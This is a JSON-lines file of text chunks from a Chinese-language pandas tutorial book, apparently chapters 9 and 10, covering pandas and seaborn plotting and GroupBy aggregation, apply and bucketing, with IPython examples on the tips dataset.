    {"text": "271 DataFrame的plot方法会在一个subplot中为各列绘制一条线，并自动创建图例（如图9-14所示）： In [62]: df = pd.DataFrame(np.random.randn(10, 4).cumsum(0), ....: columns=['A', 'B', 'C', 'D'], ....: index=np.arange(0, 100, 10)) In [63]: df.plot() plot属性包含一批不同绘图类型的方法。"},
    {"text": "这时，Series和DataFrame的索引将会被用 作X（bar）或Y（barh）刻度（如图9-15所示）： In [64]: fig, axes = plt.subplots(2, 1) In [65]: data = pd.Series(np.random.rand(16), index=list('abcdefghijklmnop')) In [66]: data.plot.bar(ax=axes[0], color='k', alpha=0.7) Out[66]: <matplotlib.axes._subplots.AxesSubplot at 0x7fb62493d470> In [67]: data.plot.barh(ax=axes[1], color='k', alpha=0.7) color='k'和alpha=0.7设定了图形的颜色为黑色，并使用部分的填充透明度。 对于DataFrame，柱 状图会将每一行的值分为一组，并排显示，如图9-16所示： In [69]: df = pd.DataFrame(np.random.rand(6, 4), ....: index=['one', 'two', 'three', 'four', 'five', 'six'], ....: columns=pd.Index(['A', 'B', 'C', 'D'], name='Genus')) In [70]: df Out[70]: Genus A B C D 273 one 0.370670 0.602792 0.229159 0.486744 two 0.420082 0.571653 0.049024 0.880592 three 0.814568 0.277160 0.880316 0.431326 four 0.374020 0.899420 0.460304 0.100843 five 0.433270 0.125107 0.494675 0.961825 six 0.601648 0.478576 0.205690 0.560547 In [71]: df.plot.bar() 注意，DataFrame各列的名称\"Genus\"被用作了图例的标题。 设置stacked=True即可为DataFrame生成堆积柱状图，这样每行的值就会被堆积在一起（如图9-17所示）： In [73]: df.plot.barh(stacked=True, alpha=0.5) 274 笔记：柱状图有一个非常不错的用法：利用value_counts图形化显示Series中各值的出现频 率，比如s.value_counts().plot.bar()。"},
    {"text": "我用read_csv将数据加载进来，然后根据日期和聚会规模创建一张 交叉表： In [75]: tips = pd.read_csv('examples/tips.csv') In [76]: party_counts = pd.crosstab(tips['day'], tips['size']) In [77]: party_counts Out[77]: size 1 2 3 4 5 6 day Fri 1 16 1 1 0 0 Sat 2 53 18 13 1 0 Sun 0 39 15 18 3 1 Thur 1 48 4 5 1 3 # Not many 1- and 6-person parties In [78]: party_counts = party_counts.loc[:, 2:5] 然后进行规格化，使得各行的和为1，并生成图表（如图9-18所示）： # Normalize to sum to 1 In [79]: party_pcts = party_counts.div(party_counts.sum(1), axis=0) 275 In [80]: party_pcts Out[80]: size 2 3 4 5 day Fri 0.888889 0.055556 0.055556 0.000000 Sat 0.623529 0.211765 0.152941 0.011765 Sun 0.520000 0.200000 0.240000 0.040000 Thur 0.827586 0.068966 0.086207 0.017241 In [81]: party_pcts.plot.bar() 于是，通过该数据集就可以看出，聚会规模在周末会变大。"},
    {"text": "用seaborn来看 每天的小费比例（图9-19是结果）： In [83]: import seaborn as sns In [84]: tips['tip_pct'] = tips['tip'] / (tips['total_bill'] - tips['tip']) In [85]: tips.head() Out[85]: total_bill tip smoker day time size tip_pct 0 16.99 1.01 No Sun Dinner 2 0.063204 1 10.34 1.66 No Sun Dinner 3 0.191244 2 21.01 3.50 No Sun Dinner 3 0.199886 276 3 23.68 3.31 No Sun Dinner 2 0.162494 4 24.59 3.61 No Sun Dinner 4 0.172069 In [86]: sns.barplot(x='tip_pct', y='day', data=tips, orient='h') seaborn的绘制函数使用data参数，它可能是pandas的DataFrame。"},
    {"text": "seaborn.barplot有颜色选项，使我们能够通过一个额外的值设置（见图9-20）： In [88]: sns.barplot(x='tip_pct', y='day', hue='time', data=tips, orient='h') 277 注意，seaborn已经自动修改了图形的美观度：默认调色板，图形背景和网格线的颜色。"},
    {"text": "你可以用 seaborn.set在不同的图形外观之间切换： In [90]: sns.set(style=\"whitegrid\") 直方图和密度图 直方图（histogram）是一种可以对值频率进行离散化显示的柱状图。"},
    {"text": "再以前面那个小费数据为例，通过在Series使 用plot.hist方法，我们可以生成一张“小费占消费总额百分比”的直方图（如图9-21所示）： In [92]: tips['tip_pct'].plot.hist(bins=50) 278 与此相关的一种图表类型是密度图，它是通过计算“可能会产生观测数据的连续概率分布的估计”而 产生的。"},
    {"text": "使用plot.kde和标准混合正态 分布估计即可生成一张密度图（见图9-22）： In [94]: tips['tip_pct'].plot.density() 279 seaborn的distplot方法绘制直方图和密度图更加简单，还可以同时画出直方图和连续密度估计图。"},
    {"text": "作为例子，考虑一个双峰分布，由两个不同的标准正态分布组成（见图9-23）： In [96]: comp1 = np.random.normal(0, 1, size=200) In [97]: comp2 = np.random.normal(10, 2, size=200) In [98]: values = pd.Series(np.concatenate([comp1, comp2])) In [99]: sns.distplot(values, bins=100, color='k') 散布图或点图 点图或散布图是观察两个一维数据序列之间的关系的有效手段。"},
    {"text": "在下面这个例子中，我加载了来自 statsmodels项目的macrodata数据集，选择了几个变量，然后计算对数差： In [100]: macro = pd.read_csv('examples/macrodata.csv') In [101]: data = macro[['cpi', 'm1', 'tbilrate', 'unemp']] In [102]: trans_data = np.log(data).diff().dropna() In [103]: trans_data[-5:] Out[103]: cpi m1 tbilrate unemp 198 -0.007904 0.045361 -0.396881 0.105361 280 199 -0.021979 0.066753 -2.277267 0.139762 200 0.002340 0.010286 0.606136 0.160343 201 0.008419 0.037461 -0.200671 0.127339 202 0.008894 0.012202 -0.405465 0.042560 然后可以使用seaborn的regplot方法，它可以做一个散布图，并加上一条线性回归的线（见图9-24）： In [105]: sns.regplot('m1', 'unemp', data=trans_data) Out[105]: <matplotlib.axes._subplots.AxesSubplot at 0x7fb613720be0> In [106]: plt.title('Changes in log %s versus log %s' % ('m1', 'unemp')) 在探索式数据分析工作中，同时观察一组变量的散布图是很有意义的，这也被称为散布图矩阵 （scatter plot matrix）。"},
    {"text": "纯手工创建这样的图表很费工夫，所以seaborn提供了一个便捷的pairplot 函数，它支持在对角线上放置每个变量的直方图或密度估计（见图9-25）： In [107]: sns.pairplot(trans_data, diag_kind='kde', plot_kws={'alpha': 0.2}) 281 你可能注意到了plot_kws参数。"},
    {"text": "seaborn有一个有用的内置函数factorplot，可以简化制作多种分面图（见图9-26）： In [108]: sns.factorplot(x='day', y='tip_pct', hue='time', col='smoker', .....: kind='bar', data=tips[tips.tip_pct < 1]) 282 除了在分面中用不同的颜色按时间分组，我们还可以通过给每个时间值添加一行来扩展分面网格： In [109]: sns.factorplot(x='day', y='tip_pct', row='time', .....: col='smoker', .....: kind='bar', data=tips[tips.tip_pct < 1]) 283 factorplot支持其它的绘图类型，你可能会用到。 例如，盒图（它可以显示中位数，四分位数，和 异常值）就是一个有用的可视化类型（见图9-28）： In [110]: sns.factorplot(x='tip_pct', y='day', kind='box', .....: data=tips[tips.tip_pct < 0.5]) 284 使用更通用的seaborn.FacetGrid类，你可以创建自己的分面网格。"},
    {"text": "在本章中你将会看到，由于Python和pandas强大的表达能力，我们可以 执行复杂得多的分组运算（利用任何可以接受pandas对象或NumPy数组的函数）。"},
    {"text": "10.1 GroupBy 机制 Hadley Wickham（许多热门R语言包的作者）创造了一个用于表示分组运算的术语\"split-apply-combine\"（拆分－应用－合并）。"},
    {"text": "首先来看看下面这个非常 简单的表格型数据集（以DataFrame的形式）： In [10]: df = pd.DataFrame({'key1' : ['a', 'a', 'b', 'b', 'a'], ....: 'key2' : ['one', 'two', 'one', 'two', 'one'], ....: 'data1' : np.random.randn(5), ....: 'data2' : np.random.randn(5)}) In [11]: df Out[11]: data1 data2 key1 key2 0 -0.204708 1.393406 a one 288 1 0.478943 0.092908 a two 2 -0.519439 0.281746 b one 3 -0.555730 0.769023 b two 4 1.965781 1.246435 a one 假设你想要按key1进行分组，并计算data1列的平均值。"},
    {"text": "实现该功能的方式有很多，而我们这里要 用的是：访问data1，并根据key1调用groupby： In [12]: grouped = df['data1'].groupby(df['key1']) In [13]: grouped Out[13]: <pandas.core.groupby.SeriesGroupBy object at 0x7faa31537390> 变量grouped是一个GroupBy对象。"},
    {"text": "例如，我们可以调用GroupBy的mean方法来计算分组平均值： In [14]: grouped.mean() Out[14]: key1 a 0.746672 b -0.537585 Name: data1, dtype: float64 稍后我将详细讲解.mean()的调用过程。"},
    {"text": "如果我们一次传入多个数组的列表，就会得到不同的结果： In [15]: means = df['data1'].groupby([df['key1'], df['key2']]).mean() In [16]: means Out[16]: key1 key2 a one 0.880536 two 0.478943 b one -0.519439 two -0.555730 Name: data1, dtype: float64 这里，我通过两个键对数据进行了分组，得到的Series具有一个层次化索引（由唯一的键对组 成）： In [17]: means.unstack() 289 Out[17]: key2 one two key1 a 0.880536 0.478943 b -0.519439 -0.555730 在这个例子中，分组键均为Series。 实际上，分组键可以是任何长度适当的数组： In [18]: states = np.array(['Ohio', 'California', 'California', 'Ohio', 'Ohio']) In [19]: years = np.array([2005, 2005, 2006, 2005, 2006]) In [20]: df['data1'].groupby([states, years]).mean() Out[20]: California 2005 0.478943 2006 -0.519439 Ohio 2005 -0.380219 2006 1.965781 Name: data1, dtype: float64 通常，分组信息就位于相同的要处理DataFrame中。 这里，你还可以将列名（可以是字符串、数字 或其他Python对象）用作分组键： In [21]: df.groupby('key1').mean() Out[21]: data1 data2 key1 a 0.746672 0.910916 b -0.537585 0.525384 In [22]: df.groupby(['key1', 'key2']).mean() Out[22]: data1 data2 key1 key2 a one 0.880536 1.319920 two 0.478943 0.092908 b one -0.519439 0.281746 two -0.555730 0.769023 你可能已经注意到了，第一个例子在执行df.groupby('key1').mean()时，结果中没有key2列。"},
    {"text": "无论你准备拿groupby做什么，都有可能会用到GroupBy的size方法，它可以返回一个含有分组大 小的Series： 290 In [23]: df.groupby(['key1', 'key2']).size() Out[23]: key1 key2 a one 2 two 1 b one 1 two 1 dtype: int64 注意，任何分组关键词中的缺失值，都会被从结果中除去。"},
    {"text": "看下面的例子： In [24]: for name, group in df.groupby('key1'): ....: print(name) ....: print(group) ....: a data1 data2 key1 key2 0 -0.204708 1.393406 a one 1 0.478943 0.092908 a two 4 1.965781 1.246435 a one b data1 data2 key1 key2 2 -0.519439 0.281746 b one 3 -0.555730 0.769023 b two 对于多重键的情况，元组的第一个元素将会是由键值组成的元组： In [25]: for (k1, k2), group in df.groupby(['key1', 'key2']): ....: print((k1, k2)) ....: print(group) ....: ('a', 'one') data1 data2 key1 key2 0 -0.204708 1.393406 a one 4 1.965781 1.246435 a one ('a', 'two') data1 data2 key1 key2 1 0.478943 0.092908 a two ('b', 'one') data1 data2 key1 key2 2 -0.519439 0.281746 b one 291 ('b', 'two') data1 data2 key1 key2 3 -0.55573 0.769023 b two 当然，你可以对这些数据片段做任何操作。 有一个你可能会觉得有用的运算：将这些数据片段做成 一个字典： In [26]: pieces = dict(list(df.groupby('key1'))) In [27]: pieces['b'] Out[27]: data1 data2 key1 key2 2 -0.519439 0.281746 b one 3 -0.555730 0.769023 b two groupby默认是在axis=0上进行分组的，通过设置也可以在其他任何轴上进行分组。 拿上面例子中 的df来说，我们可以根据dtype对列进行分组： In [28]: df.dtypes Out[28]: data1 float64 data2 float64 key1 object key2 object dtype: object In [29]: grouped = df.groupby(df.dtypes, axis=1) 可以如下打印分组： In [30]: for dtype, group in grouped: ....: print(dtype) ....: print(group) ....: float64 data1 data2 0 -0.204708 1.393406 1 0.478943 0.092908 2 -0.519439 0.281746 3 -0.555730 0.769023 4 1.965781 1.246435 object key1 key2 0 a one 1 a two 2 b one 292 3 b two 4 a one 选取一列或列的子集 对于由DataFrame产生的GroupBy对象，如果用一个（单个字符串）或一组（字符串数组）列名对 其进行索引，就能实现选取部分列进行聚合的目的。 也就是说： df.groupby('key1')['data1'] df.groupby('key1')[['data2']] 是以下代码的语法糖： df['data1'].groupby(df['key1']) df[['data2']].groupby(df['key1']) 尤其对于大数据集，很可能只需要对部分列进行聚合。 例如，在前面那个数据集中，如果只需计算 data2列的平均值并以DataFrame形式得到结果，可以这样写： In [31]: df.groupby(['key1', 'key2'])[['data2']].mean() Out[31]: data2 key1 key2 a one 1.319920 two 0.092908 b one 0.281746 two 0.769023 这种索引操作所返回的对象是一个已分组的DataFrame（如果传入的是列表或数组）或已分组的 Series（如果传入的是标量形式的单个列名）： In [32]: s_grouped = df.groupby(['key1', 'key2'])['data2'] In [33]: s_grouped Out[33]: <pandas.core.groupby.SeriesGroupBy object at 0x7faa30c78da0> In [34]: s_grouped.mean() Out[34]: key1 key2 a one 1.319920 two 0.092908 b one 0.281746 two 0.769023 Name: data2, dtype: float64 293 通过字典或 Series 进行分组 除数组以外，分组信息还可以其他形式存在。 来看另一个示例DataFrame： In [35]: people = pd.DataFrame(np.random.randn(5, 5), ....: columns=['a', 'b', 'c', 'd', 'e'], ....: index=['Joe', 'Steve', 'Wes', 'Jim', 'Travis']) In [36]: people.iloc[2:3, [1, 2]] = np.nan # Add a few NA values In [37]: people Out[37]: a b c d e Joe 1.007189 -1.296221 0.274992 0.228913 1.352917 Steve 0.886429 -2.001637 -0.371843 1.669025 -0.438570 Wes -0.539741 NaN NaN -1.021228 -0.577087 Jim 0.124121 0.302614 0.523772 0.000940 1.343810 Travis -0.713544 -0.831154 -2.370232 -1.860761 -0.860757 现在，假设已知列的分组关系，并希望根据分组计算列的和： In [38]: mapping = {'a': 'red', 'b': 'red', 'c': 'blue', ....: 'd': 'blue', 'e': 'red', 'f' : 'orange'} 现在，你可以将这个字典传给groupby，来构造数组，但我们可以直接传递字典（我包含了键“f”来 强调，存在未使用的分组键是可以的）： In [39]: by_column = people.groupby(mapping, axis=1) In [40]: by_column.sum() Out[40]: blue red Joe 0.503905 1.063885 Steve 1.297183 -1.553778 Wes -1.021228 -1.116829 Jim 0.524712 1.770545 Travis -4.230992 -2.405455 Series也有同样的功能，它可以被看做一个固定大小的映射： In [41]: map_series = pd.Series(mapping) In [42]: map_series Out[42]: 294 a red b red c blue d blue e red f orange dtype: object In [43]: people.groupby(map_series, axis=1).count() Out[43]: blue red Joe 2 3 Steve 2 3 Wes 1 2 Jim 2 3 Travis 2 3 通过函数进行分组 比起使用字典或Series，使用Python函数是一种更原生的方法定义分组映射。"},
    {"text": "你可以计算一个字符串长度的数组，更简单的方法是传 入len函数： In [44]: people.groupby(len).sum() Out[44]: a b c d e 3 0.591569 -0.993608 0.798764 -0.791374 2.119639 5 0.886429 -2.001637 -0.371843 1.669025 -0.438570 6 -0.713544 -0.831154 -2.370232 -1.860761 -0.860757 将函数跟数组、列表、字典、Series混合使用也不是问题，因为任何东西在内部都会被转换为数 组： In [45]: key_list = ['one', 'one', 'one', 'two', 'two'] In [46]: people.groupby([len, key_list]).min() Out[46]: a b c d e 3 one -0.539741 -1.296221 0.274992 -1.021228 -0.577087 two 0.124121 0.302614 0.523772 0.000940 1.343810 5 one 0.886429 -2.001637 -0.371843 1.669025 -0.438570 6 two -0.713544 -0.831154 -2.370232 -1.860761 -0.860757 295 根据索引级别分组 层次化索引数据集最方便的地方就在于它能够根据轴索引的一个级别进行聚合： In [47]: columns = pd.MultiIndex.from_arrays([['US', 'US', 'US', 'JP', 'JP'], ....: [1, 3, 5, 1, 3]], ....: names=['cty', 'tenor']) In [48]: hier_df = pd.DataFrame(np.random.randn(4, 5), columns=columns) In [49]: hier_df Out[49]: cty US JP tenor 1 3 5 1 3 0 0.560145 -1.265934 0.119827 -1.063512 0.332883 1 -2.359419 -0.199543 -1.541996 -0.970736 -1.307030 2 0.286350 0.377984 -0.753887 0.331286 1.349742 3 0.069877 0.246674 -0.011862 1.004812 1.327195 要根据级别分组，使用level关键字传递级别序号或名字： In [50]: hier_df.groupby(level='cty', axis=1).count() Out[50]: cty JP US 0 2 3 1 2 3 2 2 3 3 2 3 10.2 数据聚合 聚合指的是任何能够从数组产生标量值的数据转换过程。"},
    {"text": "实际 上，GroupBy会高效地对Series进行切片，然后对各片调用piece.quantile(0.9)，最后将这些结果组 装成最终结果： In [51]: df Out[51]: data1 data2 key1 key2 0 -0.204708 1.393406 a one 1 0.478943 0.092908 a two 2 -0.519439 0.281746 b one 3 -0.555730 0.769023 b two 4 1.965781 1.246435 a one In [52]: grouped = df.groupby('key1') In [53]: grouped['data1'].quantile(0.9) Out[53]: key1 a 1.668413 b -0.523068 Name: data1, dtype: float64 如果要使用你自己的聚合函数，只需将其传入aggregate或agg方法即可： In [54]: def peak_to_peak(arr): ....: return arr.max() - arr.min() In [55]: grouped.agg(peak_to_peak) Out[55]: data1 data2 key1 a 2.170488 1.300498 b 0.036292 0.487276 297 你可能注意到注意，有些方法（如describe）也是可以用在这里的，即使严格来讲，它们并非聚合 运算： In [56]: grouped.describe() Out[56]: data1 \\ count mean std min 25% 50% 75% key1 a 3.0 0.746672 1.109736 -0.204708 0.137118 0.478943 1.222362 b 2.0 -0.537585 0.025662 -0.555730 -0.546657 -0.537585 -0.528512 data2 \\ max count mean std min 25% 50% key1 a 1.965781 3.0 0.910916 0.712217 0.092908 0.669671 1.246435 b -0.519439 2.0 0.525384 0.344556 0.281746 0.403565 0.525384 75% max key1 a 1.319920 1.393406 b 0.647203 0.769023 在后面的10.3节，我将详细说明这到底是怎么回事。"},
    {"text": "使用read_csv导入数据之后，我们添加了一个小费百分比的列tip_pct： In [57]: tips = pd.read_csv('examples/tips.csv') # Add tip percentage of total bill In [58]: tips['tip_pct'] = tips['tip'] / tips['total_bill'] In [59]: tips[:6] Out[59]: total_bill tip smoker day time size tip_pct 0 16.99 1.01 No Sun Dinner 2 0.059447 1 10.34 1.66 No Sun Dinner 3 0.160542 2 21.01 3.50 No Sun Dinner 3 0.166587 3 23.68 3.31 No Sun Dinner 2 0.139780 4 24.59 3.61 No Sun Dinner 4 0.146808 5 25.29 4.71 No Sun Dinner 4 0.186240 298 你已经看到，对Series或DataFrame列的聚合运算其实就是使用aggregate（使用自定义函数）或 调用诸如mean、std之类的方法。"},
    {"text": "首先，我根据天和smoker对tips进行分 组： In [60]: grouped = tips.groupby(['day', 'smoker']) 注意，对于表10-1中的那些描述统计，可以将函数名以字符串的形式传入： In [61]: grouped_pct = grouped['tip_pct'] In [62]: grouped_pct.agg('mean') Out[62]: day smoker Fri No 0.151650 Yes 0.174783 Sat No 0.158048 Yes 0.147906 Sun No 0.160113 Yes 0.187250 Thur No 0.160298 Yes 0.163863 Name: tip_pct, dtype: float64 如果传入一组函数或函数名，得到的DataFrame的列就会以相应的函数命名： In [63]: grouped_pct.agg(['mean', 'std', peak_to_peak]) Out[63]: mean std peak_to_peak day smoker Fri No 0.151650 0.028123 0.067349 Yes 0.174783 0.051293 0.159925 Sat No 0.158048 0.039767 0.235193 Yes 0.147906 0.061375 0.290095 Sun No 0.160113 0.042347 0.193226 Yes 0.187250 0.154134 0.644685 Thur No 0.160298 0.038774 0.193350 Yes 0.163863 0.039389 0.151240 这里，我们传递了一组聚合函数进行聚合，独立对数据分组进行评估。"},
    {"text": "你并非一定要接受GroupBy自动给出的那些列名，特别是lambda函数，它们的名称是''，这样的辨 识度就很低了（通过函数的 name 属性看看就知道了）。"},
    {"text": "因此，如果传入的是一个由 (name,function)元组组成的列表，则各元组的第一个元素就会被用作DataFrame的列名（可以将这 种二元元组列表看做一个有序映射）： 299 In [64]: grouped_pct.agg([('foo', 'mean'), ('bar', np.std)]) Out[64]: foo bar day smoker Fri No 0.151650 0.028123 Yes 0.174783 0.051293 Sat No 0.158048 0.039767 Yes 0.147906 0.061375 Sun No 0.160113 0.042347 Yes 0.187250 0.154134 Thur No 0.160298 0.038774 Yes 0.163863 0.039389 对于DataFrame，你还有更多选择，你可以定义一组应用于全部列的一组函数，或不同的列应用不 同的函数。 假设我们想要对tip_pct和total_bill列计算三个统计信息： In [65]: functions = ['count', 'mean', 'max'] In [66]: result = grouped['tip_pct', 'total_bill'].agg(functions) In [67]: result Out[67]: tip_pct total_bill count mean max count mean max day smoker Fri No 4 0.151650 0.187735 4 18.420000 22.75 Yes 15 0.174783 0.263480 15 16.813333 40.17 Sat No 45 0.158048 0.291990 45 19.661778 48.33 Yes 42 0.147906 0.325733 42 21.276667 50.81 Sun No 57 0.160113 0.252672 57 20.506667 48.17 Yes 19 0.187250 0.710345 19 24.120000 45.35 Thur No 45 0.160298 0.266312 45 17.113111 41.19 Yes 17 0.163863 0.241255 17 19.190588 43.11 如你所见，结果DataFrame拥有层次化的列，这相当于分别对各列进行聚合，然后用concat将结果 组装到一起，使用列名用作keys参数： In [68]: result['tip_pct'] Out[68]: count mean max day smoker Fri No 4 0.151650 0.187735 Yes 15 0.174783 0.263480 Sat No 45 0.158048 0.291990 Yes 42 0.147906 0.325733 Sun No 57 0.160113 0.252672 300 Yes 19 0.187250 0.710345 Thur No 45 0.160298 0.266312 Yes 17 0.163863 0.241255 跟前面一样，这里也可以传入带有自定义名称的一组元组： In [69]: ftuples = [('Durchschnitt', 'mean'),('Abweichung', np.var)] In [70]: grouped['tip_pct', 'total_bill'].agg(ftuples) Out[70]: tip_pct total_bill Durchschnitt Abweichung Durchschnitt Abweichung day smoker Fri No 0.151650 0.000791 18.420000 25.596333 Yes 0.174783 0.002631 16.813333 82.562438 Sat No 0.158048 0.001581 19.661778 79.908965 Yes 0.147906 0.003767 21.276667 101.387535 Sun No 0.160113 0.001793 20.506667 66.099980 Yes 0.187250 0.023757 24.120000 109.046044 Thur No 0.160298 0.001503 17.113111 59.625081 Yes 0.163863 0.001551 19.190588 69.808518 现在，假设你想要对一个列或不同的列应用不同的函数。 具体的办法是向agg传入一个从列名映射 到函数的字典： In [71]: grouped.agg({'tip' : np.max, 'size' : 'sum'}) Out[71]: tip size day smoker Fri No 3.50 9 Yes 4.73 31 Sat No 9.00 115 Yes 10.00 104 Sun No 6.00 167 Yes 6.50 49 Thur No 6.70 112 Yes 5.00 40 In [72]: grouped.agg({'tip_pct' : ['min', 'max', 'mean', 'std'], ....: 'size' : 'sum'}) Out[72]: tip_pct size min max mean std sum day smoker Fri No 0.120385 0.187735 0.151650 0.028123 9 Yes 0.103555 0.263480 0.174783 0.051293 31 Sat No 0.056797 0.291990 0.158048 0.039767 115 301 Yes 0.035638 0.325733 0.147906 0.061375 104 Sun No 0.059447 0.252672 0.160113 0.042347 167 Yes 0.065660 0.710345 0.187250 0.154134 49 Thur No 0.072961 0.266312 0.160298 0.038774 112 Yes 0.090014 0.241255 0.163863 0.039389 40 只有将多个函数应用到至少一列时，DataFrame才会拥有层次化的列。"},
    {"text": "由于 并不总是需要如此，所以你可以向groupby传入as_index=False以禁用该功能： In [73]: tips.groupby(['day', 'smoker'], as_index=False).mean() Out[73]: day smoker total_bill tip size tip_pct 0 Fri No 18.420000 2.812500 2.250000 0.151650 1 Fri Yes 16.813333 2.714000 2.066667 0.174783 2 Sat No 19.661778 3.102889 2.555556 0.158048 3 Sat Yes 21.276667 2.875476 2.476190 0.147906 4 Sun No 20.506667 3.167895 2.929825 0.160113 5 Sun Yes 24.120000 3.516842 2.578947 0.187250 6 Thur No 17.113111 2.673778 2.488889 0.160298 7 Thur Yes 19.190588 3.030000 2.352941 0.163863 当然，对结果调用reset_index也能得到这种形式的结果。"},
    {"text": "10.3 apply ：一般性的 “ 拆分－应用－合并 ” 最通用的GroupBy方法是apply，本节剩余部分将重点讲解它。 如图10-2所示，apply会将待处理的 对象拆分成多个片段，然后对各片段调用传入的函数，最后尝试将各片段组合到一起。"},
    {"text": "首先，编写一个选取指 定列具有最大值的行的函数： In [74]: def top(df, n=5, column='tip_pct'): ....: return df.sort_values(by=column)[-n:] In [75]: top(tips, n=6) Out[75]: total_bill tip smoker day time size tip_pct 109 14.31 4.00 Yes Sat Dinner 2 0.279525 183 23.17 6.50 Yes Sun Dinner 4 0.280535 232 11.61 3.39 No Sat Dinner 2 0.291990 67 3.07 1.00 Yes Sat Dinner 1 0.325733 178 9.60 4.00 Yes Sun Dinner 2 0.416667 172 7.25 5.15 Yes Sun Dinner 2 0.710345 现在，如果对smoker分组并用该函数调用apply，就会得到： In [76]: tips.groupby('smoker').apply(top) 303 Out[76]: total_bill tip smoker day time size tip_pct smoker No 88 24.71 5.85 No Thur Lunch 2 0.236746 185 20.69 5.00 No Sun Dinner 5 0.241663 51 10.29 2.60 No Sun Dinner 2 0.252672 149 7.51 2.00 No Thur Lunch 2 0.266312 232 11.61 3.39 No Sat Dinner 2 0.291990 Yes 109 14.31 4.00 Yes Sat Dinner 2 0.279525 183 23.17 6.50 Yes Sun Dinner 4 0.280535 67 3.07 1.00 Yes Sat Dinner 1 0.325733 178 9.60 4.00 Yes Sun Dinner 2 0.416667 172 7.25 5.15 Yes Sun Dinner 2 0.710345 这里发生了什么？"},
    {"text": "如果传给apply的函数能够接受其他参数或关键字，则可以将这些内容放在函数名后面一并传入： In [77]: tips.groupby(['smoker', 'day']).apply(top, n=1, column='total_bill') Out[77]: total_bill tip smoker day time size tip_pct smoker day No Fri 94 22.75 3.25 No Fri Dinner 2 0.142857 Sat 212 48.33 9.00 No Sat Dinner 4 0.186220 Sun 156 48.17 5.00 No Sun Dinner 6 0.103799 Thur 142 41.19 5.00 No Thur Lunch 5 0.121389 Yes Fri 95 40.17 4.73 Yes Fri Dinner 4 0.117750 Sat 170 50.81 10.00 Yes Sat Dinner 3 0.196812 Sun 182 45.35 3.50 Yes Sun Dinner 3 0.077178 Thur 197 43.11 5.00 Yes Thur Lunch 4 0.115982 笔记：除这些基本用法之外，能否充分发挥apply的威力很大程度上取决于你的创造力。"},
    {"text": "可能你已经想起来了，之前我在GroupBy对象上调用过describe： In [78]: result = tips.groupby('smoker')['tip_pct'].describe() In [79]: result Out[79]: count mean std min 25% 50% 75% \\ smoker No 151.0 0.159328 0.039910 0.056797 0.136906 0.155625 0.185014 Yes 93.0 0.163196 0.085119 0.035638 0.106771 0.153846 0.195059 304 max smoker No 0.291990 Yes 0.710345 In [80]: result.unstack('smoker') Out[80]: smoker count No 151.000000 Yes 93.000000 mean No 0.159328 Yes 0.163196 std No 0.039910 Yes 0.085119 min No 0.056797 Yes 0.035638 25% No 0.136906 Yes 0.106771 50% No 0.155625 Yes 0.153846 75% No 0.185014 Yes 0.195059 max No 0.291990 Yes 0.710345 dtype: float64 在GroupBy中，当你调用诸如describe之类的方法时，实际上只是应用了下面两条代码的快捷方式 而已： f = lambda x: x.describe() grouped.apply(f) 禁止分组键 从上面的例子中可以看出，分组键会跟原始对象的索引共同构成结果对象中的层次化索引。 将 group_keys=False传入groupby即可禁止该效果： In [81]: tips.groupby('smoker', group_keys=False).apply(top) Out[81]: total_bill tip smoker day time size tip_pct 88 24.71 5.85 No Thur Lunch 2 0.236746 185 20.69 5.00 No Sun Dinner 5 0.241663 51 10.29 2.60 No Sun Dinner 2 0.252672 149 7.51 2.00 No Thur Lunch 2 0.266312 232 11.61 3.39 No Sat Dinner 2 0.291990 305 109 14.31 4.00 Yes Sat Dinner 2 0.279525 183 23.17 6.50 Yes Sun Dinner 4 0.280535 67 3.07 1.00 Yes Sat Dinner 1 0.325733 178 9.60 4.00 Yes Sun Dinner 2 0.416667 172 7.25 5.15 Yes Sun Dinner 2 0.710345 分位数和桶分析 我曾在第8章中讲过，pandas有一些能根据指定面元或样本分位数将数据拆分成多块的工具（比如 cut和qcut）。"},
    {"text": "以下面这个简单的随机数据集为例，我们利用cut将其装入长度相等的桶 中： In [82]: frame = pd.DataFrame({'data1': np.random.randn(1000), ....: 'data2': np.random.randn(1000)}) In [83]: quartiles = pd.cut(frame.data1, 4) In [84]: quartiles[:10] Out[84]: 0 (-1.23, 0.489] 1 (-2.956, -1.23] 2 (-1.23, 0.489] 3 (0.489, 2.208] 4 (-1.23, 0.489] 5 (0.489, 2.208] 6 (-1.23, 0.489] 7 (-1.23, 0.489] 8 (0.489, 2.208] 9 (0.489, 2.208] Name: data1, dtype: category Categories (4, interval[float64]): [(-2.956, -1.23] < (-1.23, 0.489] < (0.489, 2. 208] < (2.208, 3.928]] 由cut返回的Categorical对象可直接传递到groupby。 因此，我们可以像下面这样对data2列做一些 统计计算： In [85]: def get_stats(group): ....: return {'min': group.min(), 'max': group.max(), ....: 'count': group.count(), 'mean': group.mean()} In [86]: grouped = frame.data2.groupby(quartiles) In [87]: grouped.apply(get_stats).unstack() Out[87]: 306 count max mean min data1 (-2.956, -1.23] 95.0 1.670835 -0.039521 -3.399312 (-1.23, 0.489] 598.0 3.260383 -0.002051 -2.989741 (0.489, 2.208] 297.0 2.954439 0.081822 -3.745356 (2.208, 3.928] 10.0 1.765640 0.024750 -1.929776 这些都是长度相等的桶。"},
    {"text": "传入labels=False 即可只获取分位数的编号： # Return quantile numbers In [88]: grouping = pd.qcut(frame.data1, 10, labels=False) In [89]: grouped = frame.data2.groupby(grouping) In [90]: grouped.apply(get_stats).unstack() Out[90]: count max mean min data1 0 100.0 1.670835 -0.049902 -3.399312 1 100.0 2.628441 0.030989 -1.950098 2 100.0 2.527939 -0.067179 -2.925113 3 100.0 3.260383 0.065713 -2.315555 4 100.0 2.074345 -0.111653 -2.047939 5 100.0 2.184810 0.052130 -2.989741 6 100.0 2.458842 -0.021489 -2.223506 7 100.0 2.954439 -0.026459 -3.056990 8 100.0 2.735527 0.103406 -3.745356 9 100.0 2.377020 0.220122 -2.064111 我们会在第12章详细讲解pandas的Categorical类型。"},
    {"text": "示例：用特定于分组的值填充缺失值 对于缺失数据的清理工作，有时你会用dropna将其替换掉，而有时则可能会希望用一个固定值或 由数据集本身所衍生出来的值去填充NA值。"},
    {"text": "在下面这个例子中， 我用平均值去填充NA值： In [91]: s = pd.Series(np.random.randn(6)) In [92]: s[::2] = np.nan In [93]: s Out[93]: 0 NaN 1 -0.125921 307 2 NaN 3 -0.884475 4 NaN 5 0.227290 dtype: float64 In [94]: s.fillna(s.mean()) Out[94]: 0 -0.261035 1 -0.125921 2 -0.261035 3 -0.884475 4 -0.261035 5 0.227290 dtype: float64 假设你需要对不同的分组填充不同的值。"},
